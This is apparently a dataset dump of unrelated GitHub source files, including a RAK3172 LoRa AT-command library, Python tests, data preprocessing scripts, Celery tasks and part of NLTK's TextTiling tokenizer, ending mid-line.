status, data = self.send_command(\"AT+APPKEY=?\")\n if status != \"OK\":\n print(\"ERROR - Unable to get APPKEY\")\n exit()\n return data\n\n @appkey.setter\n def appkey(self, appkey):\n status, _ = self.send_command(f\"AT+APPKEY={appkey}\")\n if status != \"OK\":\n print(\"status\", status)\n print(\"ERROR - Unable to set AppKEY\")\n exit()\n # RAK3172 needs to be restarted to take it into account\n self.reset_soft()\n\n @property\n def deveui(self):\n status, data = self.send_command(\"AT+DEVEUI=?\")\n if status != \"OK\":\n print(\"ERROR - Unable to get devEUI\")\n exit()\n return data\n\n @deveui.setter\n def deveui(self, deveui):\n status, _ = self.send_command(f\"AT+DEVEUI={deveui}\")\n if status != \"OK\":\n print(\"ERROR - Unable to set devEUI\")\n exit()\n # RAK3172 needs to be restarted to take it into account\n self.reset_soft()\n\n @property\n def joineui(self):\n status, data = self.send_command(\"AT+APPEUI=?\")\n if status != \"OK\":\n print(\"ERROR - Unable to get joinEUI\")\n exit()\n return data\n\n @joineui.setter\n def joineui(self, joineui):\n status, _ = self.send_command(f\"AT+APPEUI={joineui}\")\n if status != \"OK\":\n print(\"ERROR - Unable to set joinEUI\")\n exit()\n # RAK3172 needs to be restarted to take it into account\n self.reset_soft()\n\n @property\n def verbose(self):\n return self.__verbose\n\n @verbose.setter\n def verbose(self, verbose):\n self.__verbose = verbose\n\n @property\n def serial_port(self):\n return self.__serial_port\n\n @serial_port.setter\n def serial_port(self, port):\n self.__serial_port = port\n\n def close(self):\n self.thread_rx_kill.set()\n\n def join(self):\n status, _ = self.send_command(f\"AT+NJM={RAK3172.JOIN_MODES.OTAA}\")\n if status != \"OK\":\n print(\"ERROR - Unable to set join mode\")\n status, _ = self.send_command(\"AT+JOIN=1:0:8:0\")\n if status != \"OK\":\n print(\"ERROR - Unable to join\")\n\n def join_status(self):\n status, data = self.send_command(f\"AT+NJS=?\")\n if status != \"OK\":\n print(\"ERROR - Unable to get join status\")\n return int(data)\n\n def reset_soft(self):\n self.send_command(f\"ATZ\", ignore=True)\n # Give some time to the device to restart\n time.sleep(1.0)\n self.serial.reset_input_buffer()\n\n def send_command(self, cmd, ignore=False):\n # Ensure case\n cmd = cmd.upper()\n # Clear RX buffer\n self.data_rx = []\n # Send command as soon as RX thread is available\n if not self.thread_rx_ready.wait(10):\n return None, None\n self.serial.write(cmd.encode(\"ASCII\") + b\"\\r\\n\")\n self.serial.flush()\n\n if self.verbose is True:\n print(f\"-> {cmd}\")\n\n if not ignore:\n if self.data_received.wait(10):\n # Get data or status code\n data = self.data_rx\n self.data_received.clear()\n if data in RAK3172.STATUS_CODES:\n return data, None\n # Already got data, only status code remaining\n if self.data_received.wait(10):\n status = self.data_rx\n self.data_received.clear()\n return status, data\n\n return None, None\n\n def send_payload(self, fport, payload, confirmed=False):\n # TODO - Implement confirm messages\n status, _ = self.send_command(f'AT+SEND={fport}:{payload.decode(\"ASCII\")}')\n if status != \"OK\":\n print(\"ERROR - Unable to send payload\")\n\n def status(self):\n status, _ = self.send_command(\"AT\")\n if status == \"OK\":\n return True\n else:\n return False\n","repo_name":"Oliv4945/rak3172-at-lib","sub_path":"rak3172.py","file_name":"rak3172.py","file_ext":"py","file_size_in_byte":7426,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"70059281524","text":"import time\nimport random\nimport skimage.graph.heap as heap\n\nfrom skimage._shared.testing import test_parallel\n\n\n# Lower versions of python don't have perf_counter\n# Python 3.7 will issue a warning if clock is used as it was\n# considered deprecated in 3.3\ntry:\n from time import perf_counter\nexcept ImportError:\n from time import clock as perf_counter\n\n\n@test_parallel()\ndef test_heap():\n _test_heap(100000, True)\n _test_heap(100000, False)\n\n\ndef _test_heap(n, fast_update):\n # generate random numbers with duplicates\n random.seed(0)\n a = [random.uniform(1.0, 100.0) for i in range(n // 2)]\n a = a + a\n\n t0 = perf_counter()\n\n # insert in heap with random removals\n if fast_update:\n h = heap.FastUpdateBinaryHeap(128, n)\n else:\n h = heap.BinaryHeap(128)\n for i in range(len(a)):\n h.push(a[i], i)\n if a[i] < 25:\n # double-push same ref sometimes to test fast update codepaths\n h.push(2 * a[i], i)\n if 25 < a[i] < 50:\n # pop some to test random removal\n h.pop()\n\n # pop from heap\n b = []\n while True:\n try:\n b.append(h.pop()[0])\n except IndexError:\n break\n\n t1 = perf_counter()\n\n # verify\n for i in range(1, len(b)):\n assert(b[i] >= b[i - 1])\n\n return t1 - t0\n","repo_name":"Hirsto/lensflaredetection","sub_path":"venv/lib/python2.7/site-packages/skimage/graph/tests/test_heap.py","file_name":"test_heap.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"2340307248","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\nimport tkinter as tk\n\ncancer_df = None\nX_train_sc, X_val_sc, X_test_sc, y_train, y_val, y_test = None, None, None, None, None, None\n\ndef load_dataset():\n global cancer_df\n\n cancer_dataset = load_breast_cancer()\n cancer_df = pd.DataFrame(np.c_[cancer_dataset['data'], cancer_dataset['target']], columns = np.append(cancer_dataset['feature_names'], ['target']))\n\n # tk.messagebox.showinfo(\"Load Dataset\", \"Dataset has been loaded.\")\n\n cancer_df.head(6)\n cancer_df.info()\n\n print(\"Dataset has been loaded!\")\n\ndef target_count_plot():\n sns.countplot(x = cancer_df['target'])\n plt.show()\n\ndef mean_radius_count_plot():\n plt.figure(figsize = (20, 8))\n sns.countplot(x = cancer_df['mean radius'])\n plt.xticks([])\n\n plt.show()\n\ndef dataset_heatmap():\n plt.figure(figsize = (16, 9))\n sns.heatmap(data = cancer_df)\n\n plt.show()\n\ndef feature_corr_heatmap():\n plt.figure(figsize = (20, 20))\n sns.heatmap(data = cancer_df.corr(), annot = True, cmap = 'coolwarm')\n\n plt.show()\n\ndef target_corr_heatmap():\n cancer_df2 = cancer_df.drop(['target'], axis = 1)\n # print(f\"Shape of cancer_df2: {cancer_df2.shape}\")\n\n plt.figure(figsize = (16, 5))\n ax = sns.barplot(x = cancer_df2.corrwith(cancer_df.target).index, y = cancer_df2.corrwith(cancer_df.target))\n ax.tick_params(labelrotation = 90)\n\n plt.show()\n\n# Prepare train dataset.\ndef dataset_preprocessing():\n # Global variables\n global cancer_df\n global X_train_sc\n global X_val_sc\n global X_test_sc \n global y_train \n global y_val \n global y_test\n\n # Removing 'target' column\n X = cancer_df.drop(['target'], axis = 1)\n\n # Target column\n y = cancer_df['target']\n\n # Splitting dataset into cross validation and test dataset\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 1)\n X_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size = 0.25, random_state = 1)\n\n # Normalizing the input datasets\n sc = StandardScaler()\n\n X_train_sc = np.transpose(sc.fit_transform(X_train))\n X_val_sc = np.transpose(sc.transform(X_val))\n X_test_sc = np.transpose(sc.transform(X_test))\n\n # print(\"X train dataset: \\n\")\n # print(X_train_sc[:5, :])\n # print(\"\\nShape of X train: \", X_train_sc.shape)\n\n # Saving input train, test and validation dataset locally.\n pd.DataFrame(X_train_sc).to_csv(\"Datasets/X_train_sc.csv\")\n pd.DataFrame(X_val_sc).to_csv(\"Datasets/X_val_sc.csv\")\n pd.DataFrame(X_test_sc).to_csv(\"Datasets/X_test_sc.csv\")\n\n # Preparing y as inputs for models\n y_train = np.array(y_train)\n y_train = y_train.reshape(1, y_train.shape[0])\n\n y_test = np.array(y_test)\n y_test = y_test.reshape(1, y_test.shape[0])\n\n y_val = np.array(y_val)\n y_val = y_val.reshape(1, y_val.shape[0])\n\n # print(\"y train dataset: \\n\")\n # print(y_train[:5, :])\n # print(\"\\nShape of y_train: \", y_train.shape)\n\n # Saving y train, test and validation dataset locally.\n pd.DataFrame(y_train).to_csv(\"Datasets/y_train.csv\")\n pd.DataFrame(y_val).to_csv(\"Datasets/y_val.csv\")\n pd.DataFrame(y_test).to_csv(\"Datasets/y_test.csv\")\n\n # Getting a feature.csv file on which the model can predict on.\n feature = X_test_sc[:, 0]\n y_feature_test = y_test[0, 0]\n print(\"y_feature_test: \", y_feature_test)\n print(\"Feature shape: \", feature.shape)\n pd.DataFrame(feature).to_csv(\"Datasets/feature.csv\")\n\n print(\"Data preprocessing and data analyzing has been done.\")\n\ndef get_train_dataset():\n return X_train_sc, y_train\n\ndef get_val_dataset():\n return X_val_sc, y_val\n\ndef get_test_dataset():\n return X_test_sc, y_test\n\n# load_dataset()\n# dataset_preprocessing()","repo_name":"saishmalunde8/Breast-Cancer-Classifier","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31625793874","text":"def getMyDivisor(n):\n count = 0\n for i in range(1, int(n**(1/2)) + 1):\n if (n % i == 0):\n count += 1 \n if ( (i**2) != n) : \n count += 1\n return count\n\ndef solution(left, right):\n return sum([i if getMyDivisor(i) % 2 == 0 else -i for i in range(left, right+1)])","repo_name":"LEEGIHO94/BaeStudy","sub_path":"프로그래머스/lv1/77884. 약수의 개수와 덧셈/약수의 개수와 덧셈.py","file_name":"약수의 개수와 덧셈.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31091452418","text":"import unittest\nfrom sherlock.functional import normalise_float\nimport pandas as pd\n\n\nclass FunctionalTestCase(unittest.TestCase):\n def test_normalise_float_remove_imprecision(self):\n result = normalise_float(1.35)\n\n self.assertEqual('1.35', result)\n\n def test_normalise_float_scientific(self):\n result = normalise_float(0.0000001)\n\n self.assertEqual('1e-07', result)\n\n def test_handle_none(self):\n series = pd.Series(['$', None, 'Aab$', '$$ca', 'C$B$', 'cat', '-0.12'])\n\n series = series.apply(lambda s: '' if s is None else str(s))\n\n print(len(series.iloc[1]))\n print(series.iloc[1] == 'None')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"mitmedialab/sherlock-project","sub_path":"tests/test_functional.py","file_name":"test_functional.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"75"} +{"seq_id":"30483073875","text":"# -*- coding: utf-8 -*-\n\n\n\n\"\"\"MAKING A MAT FILE \"\"\"\n\nimport scipy.io as sio\n\n#create empty dictionary, this will contain all data you want to write to mat file\ndata = {}\n\n#some data we want to save to .mat file\nsomestuff = range(100)\n\n#add stuff to dictionary. give it whatever name you want\ndata['nameofstuff'] = somestuff\n\n#save the mat file\nsio.savemat('filename.mat',data)\n","repo_name":"olsenshawn/aibs","sub_path":"tools/savematfile.py","file_name":"savematfile.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5406086804","text":"from __future__ import annotations\n\nimport ast\nimport textwrap\nfrom typing import TYPE_CHECKING\n\nimport pytest\n\nfrom flake8_type_checking.checker import ImportVisitor\n\nif TYPE_CHECKING:\n from typing import Set\n\n\ndef _get_names(example: str) -> Set[str]:\n visitor = ImportVisitor(\n cwd='fake cwd', # type: ignore[arg-type]\n pydantic_enabled=False,\n fastapi_enabled=False,\n fastapi_dependency_support_enabled=False,\n cattrs_enabled=False,\n pydantic_enabled_baseclass_passlist=[],\n )\n visitor.visit(ast.parse(example))\n return visitor.names\n\n\nexamples = [\n # ast.Import\n ('import x', set()),\n ('import pytest', set()),\n ('import flake8_type_checking', set()),\n # ast.ImportFrom\n ('from x import y', set()),\n ('from _pytest import fixtures', set()),\n ('from flake8_type_checking import constants', set()),\n # Assignments\n ('x = y', {'x', 'y'}),\n ('x, y = z', {'x', 'y', 'z'}),\n ('x, y, z = a, b, c()', {'x', 'y', 'z', 'a', 'b', 'c'}),\n # Calls\n ('x()', {'x'}),\n ('x = y()', {'x', 'y'}),\n ('def example(): x = y(); z()', {'x', 'y', 'z'}),\n # Attribute\n ('x.y', {'x.y', 'x'}),\n (\n textwrap.dedent(\"\"\"\n def example(c):\n a = 2\n b = c * 2\n \"\"\"),\n {'a', 'b', 'c'},\n ),\n (\n textwrap.dedent(\"\"\"\n class Test:\n x = 13\n\n def __init__(self, z):\n self.y = z\n\n a = Test()\n b = a.y\n \"\"\"),\n {'self.y', 'z', 'Test', 'self', 'a', 'b', 'x', 'a.y'},\n ),\n (\n textwrap.dedent(\"\"\"\n import ast\n\n ImportType = Union[Import, ImportFrom]\n \"\"\"), # ast should not be a part of this\n {'Union', 'Import', 'ImportFrom', 'ImportType'},\n ),\n (\n textwrap.dedent(\"\"\"\n import ast\n def _get_usages(example):\n visitor = UnusedImportVisitor()\n visitor.visit(parse(example))\n return visitor.usage_names\n \"\"\"),\n {'UnusedImportVisitor', 'example', 'parse', 'visitor', 'visitor.usage_names', 'visitor.visit'},\n ),\n]\n\n\n@pytest.mark.parametrize(('example', 'result'), examples)\ndef test_basic_annotations_are_removed(example, result):\n assert _get_names(example) == result\n\n\ndef test_model_declarations_are_included_in_names():\n \"\"\"Class definition arguments need to be included in our \"names\".\"\"\"\n example = textwrap.dedent(\"\"\"\n from django.db import models\n from app.models import SomeModel\n\n class LoanProvider(models.Model):\n fk = models.ForeignKey(\n SomeModel,\n on_delete=models.CASCADE,\n )\n \"\"\")\n assert _get_names(example) == {'SomeModel', 'fk', 'models', 'models.CASCADE', 'models.ForeignKey', 'models.Model'}\n","repo_name":"snok/flake8-type-checking","sub_path":"tests/test_name_visitor.py","file_name":"test_name_visitor.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"75"} +{"seq_id":"39812408062","text":"def SubsetArray(ary1, ary2):\n \"\"\"\n check if array 1 is subset of array 2 or vice-versa. A subset array means that all the elements from one array\n are present in the other array\n :param ary1:\n :param ary2:\n :return:\n \"\"\"\n if len(ary1) > len(ary2):\n big = ary1\n small = ary2\n else:\n big = ary2\n small = ary1\n dct = {}\n for key in big:\n dct[key] = 1 + dct.get(key, 0)\n\n for key in small:\n if key in dct.keys() and dct.get(key) > 0:\n dct[key] = dct.get(key) - 1\n else:\n return False\n return True\n\nif __name__ == \"__main__\":\n ary1 = [11, 1, 13, 21, 3, 7, 1]\n ary2 = [11, 3, 7, 1, 1]\n assert (SubsetArray(ary1, ary2)) == True\n","repo_name":"akhandsingh17/assignments","sub_path":"boilerplates/Facebook/SubsetArray.py","file_name":"SubsetArray.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"46649363322","text":"from openai import OpenAI\n\nclient = OpenAI(api_key=\"\")\n\n\nquestion = input(\"What would you like to ask ChatGPT? \")\n\nresponse = client.completions.create(model=\"text-davinci-003\",\nprompt=question,\nmax_tokens=1024,\nn=1,\nstop=None,\ntemperature=0.8)\n\nanswer = response.choices[0].text\n\nprint(answer)","repo_name":"robertoctl/ChatGPTResponse","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13673099707","text":"#! -*- coding=utf-8 -*-\n\"\"\"\n@version: ??\n@author: rubin\n@license:\n@contact: longjun.zhao@chinacache.com\n@site: \n@software: PyCharm\n@file: autodesk_url_id.py\n@time: 16-10-24 下午4:30\n\"\"\"\nfrom celery.task import task\nimport logging\nfrom core.generate_id import ObjectId\n# try:\n# from pymongo import ReplicaSetConnection as MongoClient\n# except:\n# from pymongo import MongoClient\nfrom datetime import datetime\nimport time\nfrom core.update import db_update\nimport traceback\nfrom core.database import db_session\nfrom util.autodesk_postal import entrance\nfrom util.autodesk_failed_task_dev import parse_data, parse_data_last\n\n\n\nLOG_FILENAME = '/Application/bermuda3/logs/autodesk.log'\n# LOG_FILENAME = '/home/rubin/logs/check_url_autodesk.log'\n# logging.basicConfig(filename=LOG_FILENAME, format='%(asctime)s - %(name)s - %(levelname)s - %(process)d - Line:%(lineno)d - %(message)s', level=logging.INFO)\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(process)d - Line:%(lineno)d - %(message)s\")\nfh = logging.FileHandler(LOG_FILENAME)\nfh.setFormatter(formatter)\n\nlogger = logging.getLogger('autodesk_url_id')\nlogger.addHandler(fh)\nlogger.setLevel(logging.DEBUG)\n\n\n# conn = MongoClient('mongodb://bermuda:bermuda_refresh@223.202.52.82:27018/bermuda')\n# db = conn.bermuda\ndb = db_session()\n\n\n\n@task(ignore_result=True, default_retry_delay=10, max_retries=3)\ndef update_url_autodesk(id):\n \"\"\"\n autodesk_id queue\n rabbitmq message queue, udpate url_autodesk status, finish_time\n :param id: the _id of url_autodesk , the _id of url\n :return:\n \"\"\"\n logger.debug('update_url_autodesk id:%s' % id)\n try:\n url_result = db.url.find_one({'_id': ObjectId(id)})\n logger.debug('check_url_autodesk update_url_autodesk get data success, id:%s' % id)\n except Exception:\n logger._log('check_url_autodesk update_url_autodesk error, id:%s, %s' % (id, e))\n return\n if not url_result:\n return\n # finish url_autodesk state alter\n finish_time = datetime.now()\n finish_time_timestamp = time.mktime(finish_time.timetuple())\n try:\n db.url_autodesk.update_one({'_id': ObjectId(id)}, {'$set': {'status': url_result.get('status'), 'finish_time': finish_time,\n 'finish_time_timestamp': finish_time_timestamp, 'dev_id': url_result.get('dev_id', None),\n 'retry_branch_id': url_result.get('retry_branch_id', None)}})\n db_update(db.request, {'_id': ObjectId(url_result.get('r_id'))}, {'$inc': {'check_unprocess': -1}})\n logger.debug('update_url_autodes request r_id:%s' % url_result.get('r_id'))\n request_result = db.request.find_one({'_id': ObjectId(url_result.get('r_id'))})\n logger.debug('update_url_autodesk request_result:%s' % request_result)\n if not request_result.get('check_unprocess'):\n finish_time_request = datetime.now()\n finish_time_request_timestamp = time.mktime(finish_time_request.timetuple())\n\n db_update(db.request, {'_id': ObjectId(url_result.get('r_id'))}, {'$set': {'finish_time_autodesk': finish_time_request,\n 'finish_time_autodesk_timestamp': finish_time_request_timestamp}})\n logger.debug('check_url_autodesk update_url_autodesk success id:%s' % id)\n except Exception:\n logger.debug(\"check_url_autodesk update_url_autodesk error, id:%s, %s\" % (id, traceback.format_exc()))\n return\n\n\n@task(ignore_result=True, default_retry_delay=10, max_retries=3)\ndef udpate_url_dev_autodesk(id, different_time):\n \"\"\"\n\n :param id:\n :param different_time:\n :return:\n \"\"\"\n logger.debug('update_url_autodesk id:%s, different_time:%s' % (id, different_time))\n try:\n url_result = db.url.find_one({'_id': ObjectId(id)})\n logger.debug('check_url_autodesk update_url_autodesk get data success, id:%s' % id)\n except Exception:\n logger._log('check_url_autodesk update_url_autodesk error, id:%s, %s' % (id, e))\n return\n if not url_result:\n return\n entrance(url_result, different_time)\n\n\n@task(ignore_result=True, default_retry_delay=10, max_retries=3)\ndef failed_task_email(id, username, created_time):\n \"\"\"\n\n :param id: request _id\n :param username: the name of user\n :param created_time:\n :return:\n \"\"\"\n try:\n parse_data(id, username, created_time)\n except Exception:\n logger.debug('failed_task_email parse_data error:%s' % traceback.format_exc())\n\n\n@task(ignore_result=True, default_retry_delay=10, max_retries=3)\ndef failed_task_email_other(id, username, created_time):\n \"\"\"\n\n :param id: request _id\n :param username: the name of user\n :param created_time:\n :return:\n \"\"\"\n try:\n parse_data(id, username, created_time)\n except Exception:\n logger.debug('failed_task_email parse_data error:%s' % traceback.format_exc())\n\n\n@task(ignore_result=True, default_retry_delay=10, max_retries=3)\ndef refresh_last_hpcc_report(id, username, created_time):\n \"\"\"\n\n :param id: request _id\n :param username: the name of user\n :param created_time:\n :return:\n \"\"\"\n try:\n parse_data_last(id, username, created_time)\n except Exception:\n logger.debug('failed_task_email parse_data error:%s' % traceback.format_exc())\n\nif __name__ == \"__main__\":\n pass","repo_name":"jy02383505/bermuda3","sub_path":"core/autodesk_url_id.py","file_name":"autodesk_url_id.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73459333042","text":"#!/usr/bin/python\nwith open('/proc/meminfo') as f:\n for line in f:\n if line.startswith('MemTotal'):\n total=line.split()[1]\n continue\n if line.startswith('MemFree'):\n free=line.split()[1]\n break\nprint(\"总量=%.2f\" % (int(total)/1024.0)+'M')\nprint(\"空闲=%.2f\" % (int(free)/1024.0)+'M')\nprint(\"空闲率=%.2f\" % (int(free)/int(total)))\n","repo_name":"lvlinuxmercy/python","sub_path":"mem_check.py","file_name":"mem_check.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21903235483","text":"import codecs\nimport sys\n\n\nMODE = \"TRANSLATE_EN\" # 将MODE设置为\"PTB_TRAIN\", \"PTB_VALID\", \"PTB_TEST\", \"TRANSLATE_EN\", \"TRANSLATE_ZH\"之一。\n\nif MODE == \"PTB_TRAIN\": # PTB训练数据\n RAW_DATA = \"../data/simple-examples/data/ptb.train.txt\" # 训练集数据文件\n VOCAB = \"ptb.vocab\" # 词汇表文件\n OUTPUT_DATA = \"ptb.train\" # 将单词替换为单词编号后的输出文件\nelif MODE == \"PTB_VALID\": # PTB验证数据\n RAW_DATA = \"../data/simple-examples/data/ptb.valid.txt\"\n VOCAB = \"ptb.vocab\"\n OUTPUT_DATA = \"ptb.valid\"\nelif MODE == \"PTB_TEST\": # PTB测试数据\n RAW_DATA = \"../data/simple-examples/data/ptb.test.txt\"\n VOCAB = \"ptb.vocab\"\n OUTPUT_DATA = \"ptb.test\"\nelif MODE == \"TRANSLATE_ZH\": # 中文翻译数据\n RAW_DATA = \"../data/TED_data/train.txt.zh\"\n VOCAB = \"./data/zh.vocab\"\n OUTPUT_DATA = \"./data/train.zh\"\nelif MODE == \"TRANSLATE_EN\": # 英文翻译数据\n RAW_DATA = \"../data/TED_data/train.txt.en\"\n VOCAB = \"./data/en.vocab\"\n OUTPUT_DATA = \"./data/train.en\"\n\n\n\n# 读取词汇表,并简历词汇到单词编号的映射\nwith codecs.open(VOCAB, 'r', 'utf-8') as f_vocab:\n vocab = [w.strip() for w in f_vocab.readlines()]\nword_to_id = {k: v for (k, v) in zip(vocab, range(len(vocab)))}\n\n# 如果出现了被删除的低频词,则替换为''\ndef get_id(word):\n return word_to_id[word] if word in word_to_id else word_to_id['']\n\nfin = codecs.open(RAW_DATA, 'r', 'utf-8')\nfout = codecs.open(OUTPUT_DATA, 'w', 'utf-8')\nfor line in fin:\n words = line.strip().split() + [''] # 读取单词并添加结束符\n # 将每个单词替换为词汇表中的编号\n out_line = ' '.join([str(get_id(w)) for w in words]) + '\\n'\n fout.write(out_line)\nfin.close()\nfout.close()","repo_name":"CharlesWu123/SelfStudyTF","sub_path":"TED_process/number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"75"} +{"seq_id":"30399702627","text":"import math\nimport re\n\ntry:\n import numpy\nexcept ImportError:\n pass\n\nfrom nltk.tokenize.api import TokenizerI\n\nBLOCK_COMPARISON, VOCABULARY_INTRODUCTION = 0, 1\nLC, HC = 0, 1\nDEFAULT_SMOOTHING = [0]\n\n\nclass TextTilingTokenizer(TokenizerI):\n \"\"\"Tokenize a document into topical sections using the TextTiling algorithm.\n This algorithm detects subtopic shifts based on the analysis of lexical\n co-occurrence patterns.\n\n The process starts by tokenizing the text into pseudosentences of\n a fixed size w. Then, depending on the method used, similarity\n scores are assigned at sentence gaps. The algorithm proceeds by\n detecting the peak differences between these scores and marking\n them as boundaries. The boundaries are normalized to the closest\n paragraph break and the segmented text is returned.\n\n :param w: Pseudosentence size\n :type w: int\n :param k: Size (in sentences) of the block used in the block comparison method\n :type k: int\n :param similarity_method: The method used for determining similarity scores:\n `BLOCK_COMPARISON` (default) or `VOCABULARY_INTRODUCTION`.\n :type similarity_method: constant\n :param stopwords: A list of stopwords that are filtered out (defaults to NLTK's stopwords corpus)\n :type stopwords: list(str)\n :param smoothing_method: The method used for smoothing the score plot:\n `DEFAULT_SMOOTHING` (default)\n :type smoothing_method: constant\n :param smoothing_width: The width of the window used by the smoothing method\n :type smoothing_width: int\n :param smoothing_rounds: The number of smoothing passes\n :type smoothing_rounds: int\n :param cutoff_policy: The policy used to determine the number of boundaries:\n `HC` (default) or `LC`\n :type cutoff_policy: constant\n\n >>> from nltk.corpus import brown\n >>> tt = TextTilingTokenizer(demo_mode=True)\n >>> text = brown.raw()[:4000]\n >>> s, ss, d, b = tt.tokenize(text)\n >>> b\n [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0]\n \"\"\"\n\n def __init__(\n self,\n w=20,\n k=10,\n similarity_method=BLOCK_COMPARISON,\n stopwords=None,\n smoothing_method=DEFAULT_SMOOTHING,\n smoothing_width=2,\n smoothing_rounds=1,\n cutoff_policy=HC,\n demo_mode=False,\n ):\n\n if stopwords is None:\n from nltk.corpus import stopwords\n\n stopwords = stopwords.words(\"english\")\n self.__dict__.update(locals())\n del self.__dict__[\"self\"]\n\n def tokenize(self, text):\n \"\"\"Return a tokenized copy of *text*, where each \"token\" represents\n a separate topic.\"\"\"\n\n lowercase_text = text.lower()\n paragraph_breaks = self._mark_paragraph_breaks(text)\n text_length = len(lowercase_text)\n\n # Tokenization step starts here\n\n # Remove punctuation\n nopunct_text = \"\".join(\n c for c in lowercase_text if re.match(r\"[a-z\\-' \\n\\t]\", c)\n )\n nopunct_par_breaks = self._mark_paragraph_breaks(nopunct_text)\n\n tokseqs = self._divide_to_tokensequences(nopunct_text)\n\n # The morphological stemming step mentioned in the TextTile\n # paper is not implemented. A comment in the original C\n # implementation states that it offers no benefit to the\n # process. It might be interesting to test the existing\n # stemmers though.\n # words = _stem_words(words)\n\n # Filter stopwords\n for ts in tokseqs:\n ts.wrdindex_list = [\n wi for wi in ts.wrdindex_list if wi[0] not in self.stopwords\n ]\n\n token_table = self._create_token_table(tokseqs, nopunct_par_breaks)\n # End of the Tokenization step\n\n # Lexical score determination\n if self.similarity_method == BLOCK_COMPARISON:\n gap_scores = self._block_comparison(tokseqs, token_table)\n elif self.similarity_method == VOCABULARY_INTRODUCTION:\n raise NotImplementedError(\"Vocabulary introduction not implemented\")\n else:\n raise ValueError(\n f\"Similarity method {self.similarity_method} not recognized\"\n )\n\n if self.smoothing_method == DEFAULT_SMOOTHING:\n smooth_scores = self._smooth_scores(gap_scores)\n else:\n raise ValueError(f\"Smoothing method {self.smoothing_method} not recognized\")\n # End of Lexical score Determination\n\n # Boundary identification\n depth_scores = self._depth_scores(smooth_scores)\n segment_boundaries = self._identify_boundaries(depth_scores)\n\n normalized_boundaries = self._normalize_boundaries(\n text, segment_boundaries, paragraph_breaks\n )\n # End of Boundary Identification\n segmented_text = []\n prevb = 0\n\n for b in normalized_boundaries:\n if b == 0:\n continue\n segmented_text.append(text[prevb:b])\n prevb = b\n\n if prevb < text_length: # append any text that may be remaining\n segmented_text.append(text[prevb:])\n\n if not segmented_text:\n segmented_text = [text]\n\n if self.demo_mode:\n return gap_scores, smooth_scores, depth_scores, segment_boundaries\n return segmented_text\n\n def _block_comparison(self, tokseqs, token_table):\n \"\"\"Implements the block comparison method\"\"\"\n\n def blk_frq(tok, block):\n ts_occs = filter(lambda o: o[0] in block, token_table[tok].ts_occurences)\n freq = sum(tsocc[1] for tsocc in ts_occs)\n return freq\n\n gap_scores = []\n numgaps = len(tokseqs) - 1\n\n for curr_gap in range(numgaps):\n score_dividend, score_divisor_b1, score_divisor_b2 = 0.0, 0.0, 0.0\n score = 0.0\n # adjust window size for boundary conditions\n if curr_gap < self.k - 1:\n window_size = curr_gap + 1\n elif curr_gap > numgaps - self.k:\n window_size = numgaps - curr_gap\n else:\n window_size = self.k\n\n b1 = [ts.index for ts in tokseqs[curr_gap - window_size + 1 : curr_gap + 1]]\n b2 = [ts.index for ts in tokseqs[curr_gap + 1 : curr_gap + window_size + 1]]\n\n for t in token_table:\n score_dividend += blk_frq(t, b1) * blk_frq(t, b2)\n score_divisor_b1 += blk_frq(t, b1) ** 2\n score_divisor_b2 += blk_frq(t, b2) ** 2\n try:\n score = score_dividend / math.sqrt(score_divisor_b1 * score_divisor_b2)\n except ZeroDivisionError:\n pass # score += 0.0\n\n gap_scores.append(score)\n\n return gap_scores\n\n def _smooth_scores(self, gap_scores):\n \"Wraps the smooth function from the SciPy Cookbook\"\n return list(\n smooth(numpy.array(gap_scores[:]), window_len=self.smoothing_width + 1)\n )\n\n def _mark_paragraph_breaks(self, text):\n \"\"\"Identifies indented text or line breaks as the beginning of\n paragraphs\"\"\"\n MIN_PARAGRAPH = 100\n pattern = re.compile(\"[ \\t\\r\\f\\v]*\\n[ \\t\\r\\f\\v]*\\n[ \\t\\r\\f\\v]*\")\n matches = pattern.finditer(text)\n\n last_break = 0\n pbreaks = [0]\n for pb in matches:\n if pb.start() - last_break < MIN_PARAGRAPH:\n continue\n else:\n pbreaks.append(pb.start())\n last_break = pb.start()\n\n return pbreaks\n\n def _divide_to_tokensequences(self, text):\n \"Divides the text into pseudosentences of fixed size\"\n w = self.w\n wrdindex_list = []\n matches = re.finditer(r\"\\w+\", text)\n for match in matches:\n wrdindex_list.append((match.group(), match.start()))\n return [\n TokenSequence(i / w, wrdindex_list[i : i + w])\n for i in 